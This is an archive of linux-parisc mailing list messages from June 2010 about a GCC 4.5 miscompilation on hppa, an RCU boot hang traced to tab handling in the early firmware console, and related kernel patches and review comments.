Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D92145160; Mon,  7 Jun 2010 19:29:08 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100605115808.0ff33504@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2909
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2909>

On Sat, 05 Jun 2010, Guy Martin wrote:

> 
> Hi Dave,
> 
> I've stripped down gengenrtl.c to the maximum and I'm able to reproduce
> the issue with the attached file.
> 
> I've observed the following :
> gcc -O2  -> Segv
> gcc -O2 -fno-delayed-branch -> OK
> gcc -O1 -> OK
> gcc -O1 -freorder-blocks -> Segv
> gcc -O1 -freorder-blocks -fno-delayed-branch -> OK
> gcc -O0 -freorder-blocks -fdelayed-branch -> OK
> 
> For reference, the build break when compiled the following way :
> make -j2 LDFLAGS="-Wl,-O1" STAGE1_CFLAGS="-O"
> LIBPATH=/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.0 BOOT_CFLAGS="-O2
> -pipe -march=2.0" bootstrap-lean 

I haven't had a chance to try the your stripped down gengenrtl.c
but there is definitely a problem compiling the 4.5 branch with
4.4 using STAGE1_CFLAGS="-O".  This didn't occur with 4.3.  I get
an ICE in stage1 configuration of libgcc with 4.4.  At this point,
I don't know the cause but this is bad as it indicates a major
bug with 4.4 on hppa.  -fno-reorder-blocks didn't help.

As a general rule, it is not a good idea to build stage1 with
optimisation.  It is not tested.  I get a successful bootstrap
at -O0.  I would guess 4.5 can probably compile 4.5 with -O,
but I haven't tested it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Mon, 7 Jun 2010 17:33:17 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20100607233317.GC26452@lackof.org>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <20100602171600.GA5566@hiauly1.hia.nrc.ca> <20100602175616.GA23219@lackof.org> <201006031150.15725.modestas@vainius.eu> <4C0850CB.20703@fsij.org> <20100604052106.GC15860@lackof.org> <AANLkTiklDMpVgeJp54qcNvMcUp2Ns5lkEpwHxWOnLD8Y@mail.gmail.com> <20100607171136.GA14186@lackof.org> <9EC4BDAF-7E7D-4EC8-80C3-D755A57D03C8@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1275953609 4665 80.91.229.12 (7 Jun 2010 23:33:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Jun 2010 23:33:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thibaut =?iso-8859-1?Q?VAR=C8NE?= <varenet@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 08 01:33:28 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OLlot-0006OF-QY
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Jun 2010 01:33:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751501Ab0FGXd1 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jun 2010 19:33:27 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:42770 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751400Ab0FGXd0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jun 2010 19:33:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 379B633E0146;
	Mon,  7 Jun 2010 17:33:26 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id o1rVCkDW1IpE; Mon,  7 Jun 2010 17:33:17 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 1012)
	id 4B1D533E0262; Mon,  7 Jun 2010 17:33:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <9EC4BDAF-7E7D-4EC8-80C3-D755A57D03C8@debian.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2910
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2910>

On Mon, Jun 07, 2010 at 08:27:44PM +0200, Thibaut VAR=C8NE wrote:
> Le 7 juin 10 =E0 19:11, dann frazier a =E9crit :
>
>> btw, I thought it would be useful to edit that page and tag each pat=
ch
>> with its status in Debian (in-official-kernel, installed-on-buildds,
>> etc), but the page appears to be immutable.
>
>
> The wiki can only be edited by registered (and approved) users (we ha=
d a=20
> lot of defacing), see [1] for details.
>
> Please register, I'd be happy to approve your account ;-)

ah, ok. My username is DannFrazier

> Cheers,
> T-Bone
>
> [1] http://wiki.parisc-linux.org/WikiAccessPolicy



--=20
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-4.5 -fdelayed-branch strikes back
Date: Fri, 11 Jun 2010 19:45:16 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20100611194516.496c2ddf@zombie>
References: <20100604181712.43456ddb@borg.bxl.tuxicoman.be>
	<20100604193229.473BB515D@hiauly1.hia.nrc.ca>
	<20100605115808.0ff33504@borg.bxl.tuxicoman.be>
	<20100607232907.GA10176@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276278329 6053 80.91.229.12 (11 Jun 2010 17:45:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 11 Jun 2010 17:45:29 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 11 19:45:27 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ON8II-0005A3-KG
	for glpp-linux-parisc@lo.gmane.org; Fri, 11 Jun 2010 19:45:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759152Ab0FKRpT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Jun 2010 13:45:19 -0400
Original-Received: from smtp1.tech.numericable.fr ([82.216.111.37]:43969 "EHLO
	smtp1.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758947Ab0FKRpE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Jun 2010 13:45:04 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp1.tech.numericable.fr (Postfix) with ESMTP id 1C66BE080D;
	Fri, 11 Jun 2010 19:44:58 +0200 (CEST)
Original-Received: from wifi001.bxl.tuxicoman.be ([172.20.1.1] helo=zombie)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1ON8Ho-000079-3O; Fri, 11 Jun 2010 19:44:58 +0200
In-Reply-To: <20100607232907.GA10176@hiauly1.hia.nrc.ca>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2912
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2912>


Hi Dave,

> I haven't had a chance to try the your stripped down gengenrtl.c
> but there is definitely a problem compiling the 4.5 branch with
> 4.4 using STAGE1_CFLAGS="-O".  This didn't occur with 4.3.  I get
> an ICE in stage1 configuration of libgcc with 4.4.  At this point,
> I don't know the cause but this is bad as it indicates a major
> bug with 4.4 on hppa.  -fno-reorder-blocks didn't help.

I'm able to reproduce the same behavior with gcc-4.5 trying to build
itself. Can you try with -fno-delayed-branch ?
I think -freorder-blocks is just a way to trigger the issue with -O1.

The test case should make things pretty easy to repro. But if you need
some more details let me know.


Cheers,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-4.5 -fdelayed-branch strikes back
Date: Sun, 13 Jun 2010 15:24:47 -0400
Organization: nrc.ca
Lines: 20
Approved: news@gmane.org
Message-ID: <20100613192447.GA14692@hiauly1.hia.nrc.ca>
References: <20100604181712.43456ddb@borg.bxl.tuxicoman.be> <20100604193229.473BB515D@hiauly1.hia.nrc.ca> <20100605115808.0ff33504@borg.bxl.tuxicoman.be> <20100607232907.GA10176@hiauly1.hia.nrc.ca> <20100611194516.496c2ddf@zombie>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1276457095 27629 80.91.229.12 (13 Jun 2010 19:24:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Jun 2010 19:24:55 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 13 21:24:54 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ONsnd-0002lU-Ui
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Jun 2010 21:24:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754118Ab0FMTYv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Jun 2010 15:24:51 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3336 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754048Ab0FMTYv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Jun 2010 15:24:51 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CBDD04E77; Sun, 13 Jun 2010 15:24:48 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100611194516.496c2ddf@zombie>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2913
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2913>

On Fri, 11 Jun 2010, Guy Martin wrote:

Hi Guy,

> The test case should make things pretty easy to repro. But if you need
> some more details let me know.

I wasn't able to get your testcase to fail with my last build of 4.5.1.
It used 4.3.3 for the bootstrap compiler.  I'm fairly certain 4.5 is
being miscompliled in stage1 when 4.4 is used as the bootstap compiler.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.35-rc1 and RCU
Date: Mon, 14 Jun 2010 09:47:15 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20100614134715.GI20317@bombadil.infradead.org>
References: <20100604094405.GM28492@bombadil.infradead.org> <4C08E5FE.80905@gmx.de> <20100604155033.GC20317@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1276523241 23337 80.91.229.12 (14 Jun 2010 13:47:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Jun 2010 13:47:21 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 14 15:47:20 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OOA0V-0007Bd-2g
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Jun 2010 15:47:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751918Ab0FNNrS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Jun 2010 09:47:18 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52589 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751812Ab0FNNrR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Jun 2010 09:47:17 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OOA0S-00024A-07; Mon, 14 Jun 2010 13:47:16 +0000
Content-Disposition: inline
In-Reply-To: <20100604155033.GC20317@bombadil.infradead.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2914
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2914>

On Fri, Jun 04, 2010 at 11:50:33AM -0400, Kyle McMartin wrote:
> On Fri, Jun 04, 2010 at 01:39:42PM +0200, Helge Deller wrote:
> > On 06/04/2010 11:44 AM, Kyle McMartin wrote:
> > > Did anyone else see a hang on 2.6.35-rc1 just after RCU initializes?
> > 
> > Yes, I did see this as well.
> > 
> 
> Cool, next time I reboot I'll see if initcall_debug helps.
>

I debugged this further, it appears to be a code generation bug...

if kernel/rcutree_plugin.h::rcu_bootup_announce_oddness is not called,
we don't hang.

But it's just a bunch of #ifdef'd printks, so I'm not sure how that
could be going wrong.

More debugging to come.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 4/5] parisc: Remove *(.text.*) pattern from the linker
 script
Date: Mon, 14 Jun 2010 10:20:59 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <1276528859.5374.29.camel@mulgrave.site>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>
	 <1276519112-11649-4-git-send-email-matt@console-pimps.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276531221 24605 80.91.229.12 (14 Jun 2010 16:00:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Jun 2010 16:00:21 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	linux-kernel@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Matt Fleming <matt@console-pimps.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jun 14 18:00:18 2010
connect(): No such file or directory
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OOC5A-0005Jm-Ux
	for glka-linux-arch@lo.gmane.org; Mon, 14 Jun 2010 18:00:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753730Ab0FNQAP (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 14 Jun 2010 12:00:15 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34954 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751401Ab0FNQAO (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 14 Jun 2010 12:00:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8432E8EE0F8;
	Mon, 14 Jun 2010 08:21:01 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id do44JaZDpijH; Mon, 14 Jun 2010 08:21:01 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E287A8EE0E4;
	Mon, 14 Jun 2010 08:21:00 -0700 (PDT)
In-Reply-To: <1276519112-11649-4-git-send-email-matt@console-pimps.org>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:6647 gmane.linux.kernel:998489 gmane.linux.ports.parisc:2915
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2915>

On Mon, 2010-06-14 at 13:38 +0100, Matt Fleming wrote:
> From: Matt Fleming <matthew.fleming@imgtec.com>
> 
> Drop the pattern from the linker script because the pattern is now
> provided by TEXT_TEXT.
> 
> Signed-off-by: Matt Fleming <matthew.fleming@imgtec.com>
> ---
>  arch/parisc/kernel/vmlinux.lds.S |    1 -
>  1 files changed, 0 insertions(+), 1 deletions(-)
> 
> diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
> index d64a6bb..6784e39 100644
> --- a/arch/parisc/kernel/vmlinux.lds.S
> +++ b/arch/parisc/kernel/vmlinux.lds.S
> @@ -61,7 +61,6 @@ SECTIONS
>  		*(.text.sys_exit)
>  		*(.text.do_sigaltstack)
>  		*(.text.do_fork)
> -		*(.text.*)
>  		*(.fixup)
>  		*(.lock.text)		/* out-of-line lock text */
>  		*(.gnu.warning)


This would destroy all of the named parisc text ordering we do above the
removed line because now you'd have swept up all the function sections
before we get to them, won't it?

The ordering is an execution speed up on 32 bit systems because our
relative jump is so short.

James



From - Thu Nov 08 21:06:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: pass through '\t' to early (iodc) console
Date: Mon, 14 Jun 2010 12:02:27 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <20100614160227.GK20317@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1276531352 25107 80.91.229.12 (14 Jun 2010 16:02:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Jun 2010 16:02:32 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 14 18:02:30 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OOC7J-0006Yd-SS
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Jun 2010 18:02:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754361Ab0FNQC3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Jun 2010 12:02:29 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48426 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752901Ab0FNQC2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Jun 2010 12:02:28 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OOC7H-0002Kl-SK
	for linux-parisc@vger.kernel.org; Mon, 14 Jun 2010 16:02:27 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2916
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2916>

The firmware handles '\t' internally, so stop trying to emulate it
(which, incidentally, had a bug in it.)

Fixes a really weird hang at bootup in rcu_bootup_announce, which,
as far as I can tell, is the first printk in the core kernel to use
a tab as the first character.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
 arch/parisc/kernel/firmware.c |   12 ++----------
 1 files changed, 2 insertions(+), 10 deletions(-)

diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 4c247e0..df971fa 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1123,7 +1123,6 @@ static char __attribute__((aligned(64))) iodc_dbuf[4096];
  */
 int pdc_iodc_print(const unsigned char *str, unsigned count)
 {
-	static int posx;        /* for simple TAB-Simulation... */
 	unsigned int i;
 	unsigned long flags;
 
@@ -1133,19 +1132,12 @@ int pdc_iodc_print(const unsigned char *str, unsigned count)
 			iodc_dbuf[i+0] = '\r';
 			iodc_dbuf[i+1] = '\n';
 			i += 2;
-			posx = 0;
 			goto print;
-		case '\t':
-			while (posx & 7) {
-				iodc_dbuf[i] = ' ';
-				i++, posx++;
-			}
-			break;
 		case '\b':	/* BS */
-			posx -= 2;
+			i--; /* overwrite last */
 		default:
 			iodc_dbuf[i] = str[i];
-			i++, posx++;
+			i++;
 			break;
 		}
 	}
-- 
1.7.0.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add tty driver to PDC console
Date: Mon, 14 Jun 2010 19:24:41 +0200
Lines: 212
Approved: news@gmane.org
Message-ID: <20100614192441.245da011@zombie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/VRBeZmNKgI2oDLfo3pBW1Rk"
X-Trace: dough.gmane.org 1276536275 12530 80.91.229.12 (14 Jun 2010 17:24:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Jun 2010 17:24:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 14 19:24:33 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OODOc-0006TE-Fd
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Jun 2010 19:24:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756476Ab0FNRY0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Jun 2010 13:24:26 -0400
Original-Received: from smtp5.tech.numericable.fr ([82.216.111.41]:39433 "EHLO
	smtp5.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756453Ab0FNRYZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Jun 2010 13:24:25 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp5.tech.numericable.fr (Postfix) with ESMTP id 43D35124036
	for <linux-parisc@vger.kernel.org>; Mon, 14 Jun 2010 19:24:23 +0200 (CEST)
Original-Received: from wifi001.bxl.tuxicoman.be ([172.20.1.1] helo=zombie)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OODOV-0005Tk-NV
	for linux-parisc@vger.kernel.org; Mon, 14 Jun 2010 19:24:22 +0200
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2917
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2917>

--MP_/VRBeZmNKgI2oDLfo3pBW1Rk
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline



This patch adds a tty driver to the PDC console. It allows the use
of ports not supported by linux as a console (e.g. serial port on
C3600). The tty driver will not register the ttyB device if PDC console
driver has been unregistered. This happens when the early printk
console is disabled as it has not been selected as the primary console.

Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>
--MP_/VRBeZmNKgI2oDLfo3pBW1Rk
Content-Type: text/x-patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=pdc-console-tty-driver.diff

